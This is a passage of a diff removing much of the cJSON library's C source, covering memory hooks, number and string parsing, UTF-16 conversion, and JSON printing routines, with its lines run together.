(CJSON_VERSION_PATCH != 15) -#error cJSON.h and cJSON.c have different versions. Make sure that both have the same. -#endif - -CJSON_PUBLIC(const char*) cJSON_Version(void) { - static char version[15]; - sprintf(version, "%i.%i.%i", CJSON_VERSION_MAJOR, CJSON_VERSION_MINOR, CJSON_VERSION_PATCH); - - return version; -} - -/* Case insensitive string comparison, doesn't consider two NULL pointers equal though */ -static int case_insensitive_strcmp(const unsigned char* string1, const unsigned char* string2) { - if((string1 == NULL) || (string2 == NULL)) { - return 1; - } - - if(string1 == string2) { - return 0; - } - - for(; tolower(*string1) == tolower(*string2); (void)string1++, string2++) { - if(*string1 == '\0') { - return 0; - } - } - - return tolower(*string1) - tolower(*string2); -} - -typedef struct internal_hooks { - void*(CJSON_CDECL* allocate)(size_t size); - void(CJSON_CDECL* deallocate)(void* pointer); - void*(CJSON_CDECL* reallocate)(void* pointer, size_t size); -} internal_hooks; - -#if defined(_MSC_VER) -/* work around MSVC error C2322: '...' address of dllimport '...' is not static */ -static void* CJSON_CDECL internal_malloc(size_t size) { - return malloc(size); -} -static void CJSON_CDECL internal_free(void* pointer) { - free(pointer); -} -static void* CJSON_CDECL internal_realloc(void* pointer, size_t size) { - return realloc(pointer, size); -} -#else -#define internal_malloc malloc -#define internal_free free -#define internal_realloc realloc -#endif - -/* strlen of character literals resolved at compile time */ -#define static_strlen(string_literal) (sizeof(string_literal) - sizeof("")) - -static internal_hooks global_hooks = {internal_malloc, internal_free, internal_realloc}; - -static unsigned char* - cJSON_strdup(const unsigned char* string, const internal_hooks* const hooks) { - size_t length = 0; - unsigned char* copy = NULL; - - if(string == NULL) { - return NULL; - } - - length = strlen((const char*)string) + sizeof(""); - copy = (unsigned char*)hooks->allocate(length); - if(copy == NULL) { - return NULL; - } - memcpy(copy, string, length); - - return copy; -} - -CJSON_PUBLIC(void) cJSON_InitHooks(cJSON_Hooks* hooks) { - if(hooks == NULL) { - /* Reset hooks */ - global_hooks.allocate = malloc; - global_hooks.deallocate = free; - global_hooks.reallocate = realloc; - return; - } - - global_hooks.allocate = malloc; - if(hooks->malloc_fn != NULL) { - global_hooks.allocate = hooks->malloc_fn; - } - - global_hooks.deallocate = free; - if(hooks->free_fn != NULL) { - global_hooks.deallocate = hooks->free_fn; - } - - /* use realloc only if both free and malloc are used */ - global_hooks.reallocate = NULL; - if((global_hooks.allocate == malloc) && (global_hooks.deallocate == free)) { - global_hooks.reallocate = realloc; - } -} - -/* Internal constructor. */ -static cJSON* cJSON_New_Item(const internal_hooks* const hooks) { - cJSON* node = (cJSON*)hooks->allocate(sizeof(cJSON)); - if(node) { - memset(node, '\0', sizeof(cJSON)); - } - - return node; -} - -/* Delete a cJSON structure. */ -CJSON_PUBLIC(void) cJSON_Delete(cJSON* item) { - cJSON* next = NULL; - while(item != NULL) { - next = item->next; - if(!(item->type & cJSON_IsReference) && (item->child != NULL)) { - cJSON_Delete(item->child); - } - if(!(item->type & cJSON_IsReference) && (item->valuestring != NULL)) { - global_hooks.deallocate(item->valuestring); - } - if(!(item->type & cJSON_StringIsConst) && (item->string != NULL)) { - global_hooks.deallocate(item->string); - } - global_hooks.deallocate(item); - item = next; - } -} - -/* get the decimal point character of the current locale */ -static unsigned char get_decimal_point(void) { -#ifdef ENABLE_LOCALES - struct lconv* lconv = localeconv(); - return (unsigned char)lconv->decimal_point[0]; -#else - return '.'; -#endif -} - -typedef struct { - const unsigned char* content; - size_t length; - size_t offset; - size_t depth; /* How deeply nested (in arrays/objects) is the input at the current offset. */ - internal_hooks hooks; -} parse_buffer; - -/* check if the given size is left to read in a given parse buffer (starting with 1) */ -#define can_read(buffer, size) \ - ((buffer != NULL) && (((buffer)->offset + size) <= (buffer)->length)) -/* check if the buffer can be accessed at the given index (starting with 0) */ -#define can_access_at_index(buffer, index) \ - ((buffer != NULL) && (((buffer)->offset + index) < (buffer)->length)) -#define cannot_access_at_index(buffer, index) (!can_access_at_index(buffer, index)) -/* get a pointer to the buffer at the position */ -#define buffer_at_offset(buffer) ((buffer)->content + (buffer)->offset) - -/* Converts an array of characters to double. Alternative implementation of strtod() */ -double string_to_double(const char* str, char** endptr) { - double result = 0.0; - int sign = 1; - const char* p = str; - - while(isspace((unsigned char)*p)) p++; - - if(*p == '-') { - sign = -1; - p++; - } else if(*p == '+') { - p++; - } - - while(isdigit((unsigned char)*p)) { - result = result * (double)(10) + ((double)(*p - '0')); - p++; - } - - if(*p == '.') { - double fraction = 0.1; - p++; - - while(isdigit((unsigned char)p[0])) { - fraction *= 0.1L; - result += (p++[0] - '0') * fraction; - } - } - - if(*p == 'e' || *p == 'E') { - int exponent = 0; - int exp_sign = 1; - p++; - - if(*p == '-') { - exp_sign = -1; - p++; - } else if(*p == '+') { - p++; - } - - while(isdigit((unsigned char)*p)) { - exponent = exponent * 10 + (*p - '0'); - p++; - } - - exponent *= exp_sign; - result *= pow(10, exponent); - } - - *endptr = (char*)p; - - return sign * result; -} - -/* Parse the input text to generate a number, and populate the result into item. */ -static cJSON_bool parse_number(cJSON* const item, parse_buffer* const input_buffer) { - double number = 0; - unsigned char* after_end = NULL; - unsigned char number_c_string[64]; - unsigned char decimal_point = get_decimal_point(); - size_t i = 0; - - if((input_buffer == NULL) || (input_buffer->content == NULL)) { - return false; - } - - /* copy the number into a temporary buffer and replace '.' with the decimal point - * of the current locale (for string_to_double) - * This also takes care of '\0' not necessarily being available for marking the end of the input */ - for(i = 0; (i < (sizeof(number_c_string) - 1)) && can_access_at_index(input_buffer, i); i++) { - switch(buffer_at_offset(input_buffer)[i]) { - case '0': - case '1': - case '2': - case '3': - case '4': - case '5': - case '6': - case '7': - case '8': - case '9': - case '+': - case '-': - case 'e': - case 'E': - number_c_string[i] = buffer_at_offset(input_buffer)[i]; - break; - - case '.': - number_c_string[i] = decimal_point; - break; - - default: - goto loop_end; - } - } -loop_end: - number_c_string[i] = '\0'; - - number = string_to_double((const char*)number_c_string, (char**)&after_end); - if(number_c_string == after_end) { - return false; /* parse_error */ - } - - item->valuedouble = number; - - /* use saturation in case of overflow */ - if(number >= INT_MAX) { - item->valueint = INT_MAX; - } else if(number <= (double)INT_MIN) { - item->valueint = INT_MIN; - } else { - item->valueint = (int)number; - } - - item->type = cJSON_Number; - - input_buffer->offset += (size_t)(after_end - number_c_string); - return true; -} - -/* don't ask me, but the original cJSON_SetNumberValue returns an integer or double */ -CJSON_PUBLIC(double) cJSON_SetNumberHelper(cJSON* object, double number) { - if(number >= INT_MAX) { - object->valueint = INT_MAX; - } else if(number <= (double)INT_MIN) { - object->valueint = INT_MIN; - } else { - object->valueint = (int)number; - } - - return object->valuedouble = number; -} - -CJSON_PUBLIC(char*) cJSON_SetValuestring(cJSON* object, const char* valuestring) { - char* copy = NULL; - /* if object's type is not cJSON_String or is cJSON_IsReference, it should not set valuestring */ - if(!(object->type & cJSON_String) || (object->type & cJSON_IsReference)) { - return NULL; - } - if(strlen(valuestring) <= strlen(object->valuestring)) { - strcpy(object->valuestring, valuestring); - return object->valuestring; - } - copy = (char*)cJSON_strdup((const unsigned char*)valuestring, &global_hooks); - if(copy == NULL) { - return NULL; - } - if(object->valuestring != NULL) { - cJSON_free(object->valuestring); - } - object->valuestring = copy; - - return copy; -} - -typedef struct { - unsigned char* buffer; - size_t length; - size_t offset; - size_t depth; /* current nesting depth (for formatted printing) */ - cJSON_bool noalloc; - cJSON_bool format; /* is this print a formatted print */ - internal_hooks hooks; -} printbuffer; - -/* realloc printbuffer if necessary to have at least "needed" bytes more */ -static unsigned char* ensure(printbuffer* const p, size_t needed) { - unsigned char* newbuffer = NULL; - size_t newsize = 0; - - if((p == NULL) || (p->buffer == NULL)) { - return NULL; - } - - if((p->length > 0) && (p->offset >= p->length)) { - /* make sure that offset is valid */ - return NULL; - } - - if(needed > INT_MAX) { - /* sizes bigger than INT_MAX are currently not supported */ - return NULL; - } - - needed += p->offset + 1; - if(needed <= p->length) { - return p->buffer + p->offset; - } - - if(p->noalloc) { - return NULL; - } - - /* calculate new buffer size */ - if(needed > (INT_MAX / 2)) { - /* overflow of int, use INT_MAX if possible */ - if(needed <= INT_MAX) { - newsize = INT_MAX; - } else { - return NULL; - } - } else { - newsize = needed * 2; - } - - if(p->hooks.reallocate != NULL) { - /* reallocate with realloc if available */ - newbuffer = (unsigned char*)p->hooks.reallocate(p->buffer, newsize); - if(newbuffer == NULL) { - p->hooks.deallocate(p->buffer); - p->length = 0; - p->buffer = NULL; - - return NULL; - } - } else { - /* otherwise reallocate manually */ - newbuffer = (unsigned char*)p->hooks.allocate(newsize); - if(!newbuffer) { - p->hooks.deallocate(p->buffer); - p->length = 0; - p->buffer = NULL; - - return NULL; - } - - memcpy(newbuffer, p->buffer, p->offset + 1); - p->hooks.deallocate(p->buffer); - } - p->length = newsize; - p->buffer = newbuffer; - - return newbuffer + p->offset; -} - -/* calculate the new length of the string in a printbuffer and update the offset */ -static void update_offset(printbuffer* const buffer) { - const unsigned char* buffer_pointer = NULL; - if((buffer == NULL) || (buffer->buffer == NULL)) { - return; - } - buffer_pointer = buffer->buffer + buffer->offset; - - buffer->offset += strlen((const char*)buffer_pointer); -} - -/* securely comparison of floating-point variables */ -static cJSON_bool compare_double(double a, double b) { - double maxVal = fabs(a) > fabs(b) ? fabs(a) : fabs(b); - return (fabs(a - b) <= maxVal * DBL_EPSILON); -} - -/* Render the number nicely from the given item into a string. */ -static cJSON_bool print_number(const cJSON* const item, printbuffer* const output_buffer) { - unsigned char* output_pointer = NULL; - double d = item->valuedouble; - int length = 0; - size_t i = 0; - unsigned char number_buffer[26] = {0}; /* temporary buffer to print the number into */ - unsigned char decimal_point = get_decimal_point(); - double test = 0.0; - - if(output_buffer == NULL) { - return false; - } - - /* This checks for NaN and Infinity */ - if(isnan(d) || isinf(d)) { - length = snprintf((char*)number_buffer, sizeof(number_buffer), "null"); - } else { - /* Try 15 decimal places of precision to avoid nonsignificant nonzero digits */ - length = snprintf((char*)number_buffer, sizeof(number_buffer), "%1.15g", d); - - /* Check whether the original double can be recovered */ - if((sscanf((char*)number_buffer, "%lg", &test) != 1) || !compare_double((double)test, d)) { - /* If not, print with 17 decimal places of precision */ - length = snprintf((char*)number_buffer, sizeof(number_buffer), "%1.17g", d); - } - } - - /* sprintf failed or buffer overrun occurred */ - if((length < 0) || (length > (int)(sizeof(number_buffer) - 1))) { - return false; - } - - /* reserve appropriate space in the output */ - output_pointer = ensure(output_buffer, (size_t)length + sizeof("")); - if(output_pointer == NULL) { - return false; - } - - /* copy the printed number to the output and replace locale - * dependent decimal point with '.' */ - for(i = 0; i < ((size_t)length); i++) { - if(number_buffer[i] == decimal_point) { - output_pointer[i] = '.'; - continue; - } - - output_pointer[i] = number_buffer[i]; - } - output_pointer[i] = '\0'; - - output_buffer->offset += (size_t)length; - - return true; -} - -/* parse 4 digit hexadecimal number */ -static unsigned parse_hex4(const unsigned char* const input) { - unsigned int h = 0; - size_t i = 0; - - for(i = 0; i < 4; i++) { - /* parse digit */ - if((input[i] >= '0') && (input[i] <= '9')) { - h += (unsigned int)input[i] - '0'; - } else if((input[i] >= 'A') && (input[i] <= 'F')) { - h += (unsigned int)10 + input[i] - 'A'; - } else if((input[i] >= 'a') && (input[i] <= 'f')) { - h += (unsigned int)10 + input[i] - 'a'; - } else /* invalid */ - { - return 0; - } - - if(i < 3) { - /* shift left to make place for the next nibble */ - h = h << 4; - } - } - - return h; -} - -/* converts a UTF-16 literal to UTF-8 - * A literal can be one or two sequences of the form \uXXXX */ -static unsigned char utf16_literal_to_utf8( - const unsigned char* const input_pointer, - const unsigned char* const input_end, - unsigned char** output_pointer) { - long unsigned int codepoint = 0; - unsigned int first_code = 0; - const unsigned char* first_sequence = input_pointer; - unsigned char utf8_length = 0; - unsigned char utf8_position = 0; - unsigned char sequence_length = 0; - unsigned char first_byte_mark = 0; - - if((input_end - first_sequence) < 6) { - /* input ends unexpectedly */ - goto fail; - } - - /* get the first utf16 sequence */ - first_code = parse_hex4(first_sequence + 2); - - /* check that the code is valid */ - if(((first_code >= 0xDC00) && (first_code <= 0xDFFF))) { - goto fail; - } - - /* UTF16 surrogate pair */ - if((first_code >= 0xD800) && (first_code <= 0xDBFF)) { - const unsigned char* second_sequence = first_sequence + 6; - unsigned int second_code = 0; - sequence_length = 12; /* \uXXXX\uXXXX */ - - if((input_end - second_sequence) < 6) { - /* input ends unexpectedly */ - goto fail; - } - - if((second_sequence[0] != '\\') || (second_sequence[1] != 'u')) { - /* missing second half of the surrogate pair */ - goto fail; - } - - /* get the second utf16 sequence */ - second_code = parse_hex4(second_sequence + 2); - /* check that the code is valid */ - if((second_code < 0xDC00) || (second_code > 0xDFFF)) { - /* invalid second half of the surrogate pair */ - goto fail; - } - - /* calculate the unicode codepoint from the surrogate pair */ - codepoint = 0x10000 + (((first_code & 0x3FF) << 10) | (second_code & 0x3FF)); - } else { - sequence_length = 6; /* \uXXXX */ - codepoint = first_code; - } - - /* encode as UTF-8 - * takes at maximum 4 bytes to encode: - * 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx */ - if(codepoint < 0x80) { - /* normal ascii, encoding 0xxxxxxx */ - utf8_length = 1; - } else if(codepoint < 0x800) { - /* two bytes, encoding 110xxxxx 10xxxxxx */ - utf8_length = 2; - first_byte_mark = 0xC0; /* 11000000 */ - } else if(codepoint < 0x10000) { - /* three bytes, encoding 1110xxxx 10xxxxxx 10xxxxxx */ - utf8_length = 3; - first_byte_mark = 0xE0; /* 11100000 */ - } else if(codepoint <= 0x10FFFF) { - /* four bytes, encoding 1110xxxx 10xxxxxx 10xxxxxx 10xxxxxx */ - utf8_length = 4; - first_byte_mark = 0xF0; /* 11110000 */ - } else { - /* invalid unicode codepoint */ - goto fail; - } - - /* encode as utf8 */ - for(utf8_position = (unsigned char)(utf8_length - 1); utf8_position > 0; utf8_position--) { - /* 10xxxxxx */ - (*output_pointer)[utf8_position] = (unsigned char)((codepoint | 0x80) & 0xBF); - codepoint >>= 6; - } - /* encode first byte */ - if(utf8_length > 1) { - (*output_pointer)[0] = (unsigned char)((codepoint | first_byte_mark) & 0xFF); - } else { - (*output_pointer)[0] = (unsigned char)(codepoint & 0x7F); - } - - *output_pointer += utf8_length; - - return sequence_length; - -fail: - return 0; -} - -/* Parse the input text into an unescaped cinput, and populate item. */ -static cJSON_bool parse_string(cJSON* const item, parse_buffer* const input_buffer) { - const unsigned char* input_pointer = buffer_at_offset(input_buffer) + 1; - const unsigned char* input_end = buffer_at_offset(input_buffer) + 1; - unsigned char* output_pointer = NULL; - unsigned char* output = NULL; - - /* not a string */ - if(buffer_at_offset(input_buffer)[0] != '\"') { - goto fail; - } - - { - /* calculate approximate size of the output (overestimate) */ - size_t allocation_length = 0; - size_t skipped_bytes = 0; - while(((size_t)(input_end - input_buffer->content) < input_buffer->length) && - (*input_end != '\"')) { - /* is escape sequence */ - if(input_end[0] == '\\') { - if((size_t)(input_end + 1 - input_buffer->content) >= input_buffer->length) { - /* prevent buffer overflow when last input character is a backslash */ - goto fail; - } - skipped_bytes++; - input_end++; - } - input_end++; - } - if(((size_t)(input_end - input_buffer->content) >= input_buffer->length) || - (*input_end != '\"')) { - goto fail; /* string ended unexpectedly */ - } - - /* This is at most how much we need for the output */ - allocation_length = (size_t)(input_end - buffer_at_offset(input_buffer)) - skipped_bytes; - output = (unsigned char*)input_buffer->hooks.allocate(allocation_length + sizeof("")); - if(output == NULL) { - goto fail; /* allocation failure */ - } - } - - output_pointer = output; - /* loop through the string literal */ - while(input_pointer < input_end) { - if(*input_pointer != '\\') { - *output_pointer++ = *input_pointer++; - } - /* escape sequence */ - else { - unsigned char sequence_length = 2; - if((input_end - input_pointer) < 1) { - goto fail; - } - - switch(input_pointer[1]) { - case 'b': - *output_pointer++ = '\b'; - break; - case 'f': - *output_pointer++ = '\f'; - break; - case 'n': - *output_pointer++ = '\n'; - break; - case 'r': - *output_pointer++ = '\r'; - break; - case 't': - *output_pointer++ = '\t'; - break; - case '\"': - case '\\': - case '/': - *output_pointer++ = input_pointer[1]; - break; - - /* UTF-16 literal */ - case 'u': - sequence_length = utf16_literal_to_utf8(input_pointer, input_end, &output_pointer); - if(sequence_length == 0) { - /* failed to convert UTF16-literal to UTF-8 */ - goto fail; - } - break; - - default: - goto fail; - } - input_pointer += sequence_length; - } - } - - /* zero terminate the output */ - *output_pointer = '\0'; - - item->type = cJSON_String; - item->valuestring = (char*)output; - - input_buffer->offset = (size_t)(input_end - input_buffer->content); - input_buffer->offset++; - - return true; - -fail: - if(output != NULL) { - input_buffer->hooks.deallocate(output); - } - - if(input_pointer != NULL) { - input_buffer->offset = (size_t)(input_pointer - input_buffer->content); - } - - return false; -} - -/* Render the cstring provided to an escaped version that can be printed. */ -static cJSON_bool - print_string_ptr(const unsigned char* const input, printbuffer* const output_buffer) { - const unsigned char* input_pointer = NULL; - unsigned char* output = NULL; - unsigned char* output_pointer = NULL; - size_t output_length = 0; - /* numbers of additional characters needed for escaping */ - size_t escape_characters = 0; - - if(output_buffer == NULL) { - return false; - } - - /* empty string */ - if(input == NULL) { - output = ensure(output_buffer, sizeof("\"\"")); - if(output == NULL) { - return false; - } - strcpy((char*)output, "\"\""); - - return true; - } - - /* set "flag" to 1 if something needs to be escaped */ - for(input_pointer = input; *input_pointer; input_pointer++) { - switch(*input_pointer) { - case '\"': - case '\\': - case '\b': - case '\f': - case '\n': - case '\r': - case '\t': - /* one character escape sequence */ - escape_characters++; - break; - default: - if(*input_pointer < 32) { - /* UTF-16 escape sequence uXXXX */ - escape_characters += 5; - } - break; - } - } - output_length = (size_t)(input_pointer - input) + escape_characters; - - output = ensure(output_buffer, output_length + sizeof("\"\"")); - if(output == NULL) { - return false; - } - - /* no characters have to be escaped */ - if(escape_characters == 0) { - output[0] = '\"'; - memcpy(output + 1, input, output_length); - output[output_length + 1] = '\"'; - output[output_length + 2] = '\0'; - - return true; - } - - output[0] = '\"'; - output_pointer = output + 1; - /* copy the string */ - for(input_pointer = input; *input_pointer != '\0'; (void)input_pointer++, output_pointer++) { - if((*input_pointer > 31) && (*input_pointer != '\"') && (*input_pointer != '\\')) { - /* normal character, copy */ - *output_pointer = *input_pointer; - } else { - /* character needs to be escaped */ - *output_pointer++ = '\\'; - switch(*input_pointer) { - case '\\': - *output_pointer = '\\'; - break; - case '\"': - *output_pointer = '\"'; - break; - case '\b': - *output_pointer = 'b'; - break; - case '\f': - *output_pointer = 'f'; - break; - case '\n': - *output_pointer = 'n'; - break; - case '\r': - *output_pointer = 'r'; - break; - case '\t': - *output_pointer = 't'; - break; - default: - /* escape and print as unicode codepoint */ - snprintf((char*)output_pointer, 6, "u%04x", *input_pointer); - output_pointer += 4; - break; - } - } - } - output[output_length + 1] = '\"'; - output[output_length + 2] = '\0'; - - return true; -} - -/* Invoke print_string_ptr (which is useful) on an item. */ -static cJSON_bool print_string(const cJSON* const item, printbuffer* const p) { - return print_string_ptr((unsigned char*)item->valuestring, p); -} - -/* Predeclare these prototypes. */ -static cJSON_bool parse_value(cJSON* const item, parse_buffer* const input_buffer); -static cJSON_bool print_value(const cJSON* const item, printbuffer* const output_buffer); -static cJSON_bool parse_array(cJSON* const item, parse_buffer* const input_buffer); -static cJSON_bool print_array(const cJSON* const item, printbuffer* const output_buffer); -static cJSON_bool parse_object(cJSON* const item, parse_buffer* const input_buffer); -static cJSON_bool print_object(const cJSON* const item, printbuffer* const output_buffer); - -/* Utility to jump whitespace and cr/lf */ -static parse_buffer* buffer_skip_whitespace(parse_buffer* const buffer) { - if((buffer == NULL) || (buffer->content == NULL)) { - return NULL; - } - - if(cannot_access_at_index(buffer, 0)) { - return buffer; - } - - while(can_access_at_index(buffer, 0) && (buffer_at_offset(buffer)[0] <= 32)) { - buffer->offset++; - } - - if(buffer->offset == buffer->length) { - buffer->offset--; - } - - return buffer; -} - -/* skip the UTF-8 BOM (byte order mark) if it is at the beginning of a buffer */ -static parse_buffer* skip_utf8_bom(parse_buffer* const buffer) { - if((buffer == NULL) || (buffer->content == NULL) || (buffer->offset != 0)) { - return NULL; - } - - if(can_access_at_index(buffer, 4) && - (strncmp((const char*)buffer_at_offset(buffer), "\xEF\xBB\xBF", 3) == 0)) { - buffer->offset += 3; - } - - return buffer; -} - -CJSON_PUBLIC(cJSON*) -cJSON_ParseWithOpts( - const char* value, - const char** return_parse_end, - cJSON_bool require_null_terminated) { - size_t buffer_length; - - if(NULL == value) { - return NULL; - } - - /* Adding null character size due to require_null_terminated. */ - buffer_length = strlen(value) + sizeof(""); - - return cJSON_ParseWithLengthOpts( - value, buffer_length, return_parse_end, require_null_terminated); -} - -/* Parse an object - create a new root, and populate. */ -CJSON_PUBLIC(cJSON*) -cJSON_ParseWithLengthOpts( - const char* value, - size_t buffer_length, - const char** return_parse_end, - cJSON_bool require_null_terminated) { - parse_buffer buffer = {0, 0, 0, 0, {0, 0, 0}}; - cJSON* item = NULL; - - /* reset error position */ - global_error.json = NULL; - global_error.position = 0; - - if(value == NULL || 0 == buffer_length) { - goto fail; - } - - buffer.content = (const unsigned char*)value; - buffer.length = buffer_length; - buffer.offset = 0; - buffer.hooks = global_hooks; - - item = cJSON_New_Item(&global_hooks); - if(item == NULL) /* memory fail */ - { - goto fail; - } - - if(!parse_value(item, buffer_skip_whitespace(skip_utf8_bom(&buffer)))) { - /* parse failure. ep is set. */ - goto fail; - } - - /* if we require null-terminated JSON without appended garbage, skip and then check for a null terminator */ - if(require_null_terminated) { - buffer_skip_whitespace(&buffer); - if((buffer.offset >= buffer.length) || buffer_at_offset(&buffer)[0] != '\0') { - goto fail; - } - } - if(return_parse_end) { - *return_parse_end = (const char*)buffer_at_offset(&buffer); - } - - return item; - -fail: - if(item != NULL) { - cJSON_Delete(item); - } - - if(value != NULL) { - error local_error; - local_error.json = (const unsigned char*)value; - local_error.position = 0; - - if(buffer.offset < buffer.length) { - local_error.position = buffer.offset; - } else if(buffer.length > 0) { - local_error.position = buffer.length - 1; - } - - if(return_parse_end != NULL) { - *return_parse_end = (const char*)local_error.json + local_error.position; - } - - global_error = local_error; - } - - return NULL; -} - -/* Default options for cJSON_Parse */ -CJSON_PUBLIC(cJSON*) cJSON_Parse(const char* value) { - return cJSON_ParseWithOpts(value, 0, 0); -} - -CJSON_PUBLIC(cJSON*) cJSON_ParseWithLength(const char* value, size_t buffer_length) { - return cJSON_ParseWithLengthOpts(value, buffer_length, 0, 0); -} - -#define cjson_min(a, b) (((a) < (b)) ? (a) : (b)) - -static unsigned char* - print(const cJSON* const item, cJSON_bool format, const internal_hooks* const hooks) { - static const size_t default_buffer_size = 256; - printbuffer buffer[1]; - unsigned char* printed = NULL; - - memset(buffer, 0, sizeof(buffer)); - - /* create buffer */ - buffer->buffer = (unsigned char*)hooks->allocate(default_buffer_size); - buffer->length = default_buffer_size; - buffer->format = format; - buffer->hooks = *hooks; - if(buffer->buffer == NULL) { - goto fail; - } - - /* print the value */ - if(!print_value(item, buffer)) { - goto fail; - } - update_offset(buffer); - - /* check if reallocate is available */ - if(hooks->reallocate != NULL) { - printed = (unsigned char*)hooks->reallocate(buffer->buffer, buffer->offset + 1); - if(printed == NULL) { - goto fail; - } - buffer->buffer = NULL; - } else /* otherwise copy the JSON over to a new buffer */ - { - printed = (unsigned char*)hooks->allocate(buffer->offset + 1); - if(printed == NULL) { - goto fail; - } - memcpy(printed, buffer->buffer, cjson_min(buffer->length, buffer->offset + 1)); - printed[buffer->offset] = '\0'; /* just to be sure */ - - /* free the buffer */ - hooks->deallocate(buffer->buffer); - } - - return printed; - -fail: - if(buffer->buffer != NULL) { - hooks->deallocate(buffer->buffer); - } - - if(printed != NULL) { - hooks->deallocate(printed); - } - - return NULL; -} - -/* Render a cJSON item/entity/structure to text. */ -CJSON_PUBLIC(char*) cJSON_Print(const cJSON* item) { - return (char*)print(item, true, &global_hooks); -} - -CJSON_PUBLIC(char*) cJSON_PrintUnformatted(const cJSON* item) { - return (char*)print(item, false, &global_hooks); -} - -CJSON_PUBLIC(char*) cJSON_PrintBuffered(const cJSON* item, int prebuffer, cJSON_bool fmt) { - printbuffer p = {0, 0, 0, 0, 0, 0, {0, 0, 0}}; - - if(prebuffer < 0) { - return NULL; - } - - p.buffer = (unsigned char*)global_hooks.allocate((size_t)prebuffer); - if(!p.buffer) { - return NULL; - } - - p.length = (size_t)prebuffer; - p.offset = 0; - p.noalloc = false; - p.format = fmt; - p.hooks = global_hooks; - - if(!print_value(item, &p)) { - global_hooks.deallocate(p.buffer); - return NULL; - } - - return (char*)p.buffer; -} - -CJSON_PUBLIC(cJSON_bool) -cJSON_PrintPreallocated(cJSON* item, char* buffer, const int length, const cJSON_bool format) { - printbuffer p = {0, 0, 0, 0, 0, 0, {0, 0, 0}}; - - if((length < 0) || (buffer == NULL)) { - return false; - } - - p.buffer = (unsigned char*)buffer; - p.length = (size_t)length; - p.offset = 0; - p.noalloc = true; - p.format = format; - p.hooks = global_hooks; - - return print_value(item, &p); -} - -/* Parser core - when encountering text, process appropriately. */ -static cJSON_bool parse_value(cJSON* const item, parse_buffer* const input_buffer) { - if((input_buffer == NULL) || (input_buffer->content == NULL)) { - return false; /* no input */ - } - - /* parse the different types of values */ - /* null */ - if(can_read(input_buffer, 4) && - (strncmp((const char*)buffer_at_offset(input_buffer), "null", 4) == 0)) { - item->type = cJSON_NULL; - input_buffer->offset += 4; - return true; - } - /* false */ - if(can_read(input_buffer, 5) && - (strncmp((const char*)buffer_at_offset(input_buffer), "false", 5) == 0)) { - item->type = cJSON_False; - input_buffer->offset += 5; - return true; - } - /* true */ - if(can_read(input_buffer, 4) && - (strncmp((const char*)buffer_at_offset(input_buffer), "true", 4) == 0)) { - item->type = cJSON_True; - item->valueint = 1; - input_buffer->offset += 4; - return true; - } - /* string */ - if(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == '\"')) { - return parse_string(item, input_buffer); - } - /* number */ - if(can_access_at_index(input_buffer, 0) && ((buffer_at_offset(input_buffer)[0] == '-') || - ((buffer_at_offset(input_buffer)[0] >= '0') && - (buffer_at_offset(input_buffer)[0] <= '9')))) { - return parse_number(item, input_buffer); - } - /* array */ - if(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == '[')) { - return parse_array(item, input_buffer); - } - /* object */ - if(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == '{')) { - return parse_object(item, input_buffer); - } - - return false; -} - -/* Render a value to text. */ -static cJSON_bool print_value(const cJSON* const item, printbuffer* const output_buffer) { - unsigned char* output = NULL; - - if((item == NULL) || (output_buffer == NULL)) { - return false; - } - - switch((item->type) & 0xFF) { - case cJSON_NULL: - output = ensure(output_buffer, 5); - if(output == NULL) { - return false; - } - strcpy((char*)output, "null"); - return true; - - case cJSON_False: - output = ensure(output_buffer, 6); - if(output == NULL) { - return false; - } - strcpy((char*)output, "false"); - return true; - - case cJSON_True: - output = ensure(output_buffer, 5); - if(output == NULL) { - return false; - } - strcpy((char*)output, "true"); - return true; - - case cJSON_Number: - return print_number(item, output_buffer); - - case cJSON_Raw: { - size_t raw_length = 0; - if(item->valuestring == NULL) { - return false; - } - - raw_length = strlen(item->valuestring) + sizeof(""); - output = ensure(output_buffer, raw_length); - if(output == NULL) { - return false; - } - memcpy(output, item->valuestring, raw_length); - return true; - } - - case cJSON_String: - return print_string(item, output_buffer); - - case cJSON_Array: - return print_array(item, output_buffer); - - case cJSON_Object: - return print_object(item, output_buffer); - - default: - return false; - } -} - -/* Build an array from input text. */ -static cJSON_bool parse_array(cJSON* const item, parse_buffer* const input_buffer) { - cJSON* head = NULL; /* head of the linked list */ - cJSON* current_item = NULL; - - if(input_buffer->depth >= CJSON_NESTING_LIMIT) { - return false; /* to deeply nested */ - } - input_buffer->depth++; - - if(buffer_at_offset(input_buffer)[0] != '[') { - /* not an array */ - goto fail; - } - - input_buffer->offset++; - buffer_skip_whitespace(input_buffer); - if(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == ']')) { - /* empty array */ - goto success; - } - - /* check if we skipped to the end of the buffer */ - if(cannot_access_at_index(input_buffer, 0)) { - input_buffer->offset--; - goto fail; - } - - /* step back to character in front of the first element */ - input_buffer->offset--; - /* loop through the comma separated array elements */ - do { - /* allocate next item */ - cJSON* new_item = cJSON_New_Item(&(input_buffer->hooks)); - if(new_item == NULL) { - goto fail; /* allocation failure */ - } - - /* attach next item to list */ - if(head == NULL) { - /* start the linked list */ - current_item = head = new_item; - } else { - /* add to the end and advance */ - current_item->next = new_item; - new_item->prev = current_item; - current_item = new_item; - } - - /* parse next value */ - input_buffer->offset++; - buffer_skip_whitespace(input_buffer); - if(!parse_value(current_item, input_buffer)) { - goto fail; /* failed to parse value */ - } - buffer_skip_whitespace(input_buffer); - } while(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == ',')); - - if(cannot_access_at_index(input_buffer, 0) || buffer_at_offset(input_buffer)[0] != ']') { - goto fail; /* expected end of array */ - } - -success: - input_buffer->depth--; - - if(head != NULL) { - head->prev = current_item; - } - - item->type = cJSON_Array; - item->child = head; - - input_buffer->offset++; - - return true; - -fail: - if(head != NULL) { - cJSON_Delete(head); - } - - return false; -} - -/* Render an array to text */ -static cJSON_bool print_array(const cJSON* const item, printbuffer* const output_buffer) { - unsigned char* output_pointer = NULL; - size_t length = 0; - cJSON* current_element = item->child; - - if(output_buffer == NULL) { - return false; - } - - /* Compose the output array. */ - /* opening square bracket */ - output_pointer = ensure(output_buffer, 1); - if(output_pointer == NULL) { - return false; - } - - *output_pointer = '['; - output_buffer->offset++; - output_buffer->depth++; - - while(current_element != NULL) { - if(!print_value(current_element, output_buffer)) { - return false; - } - 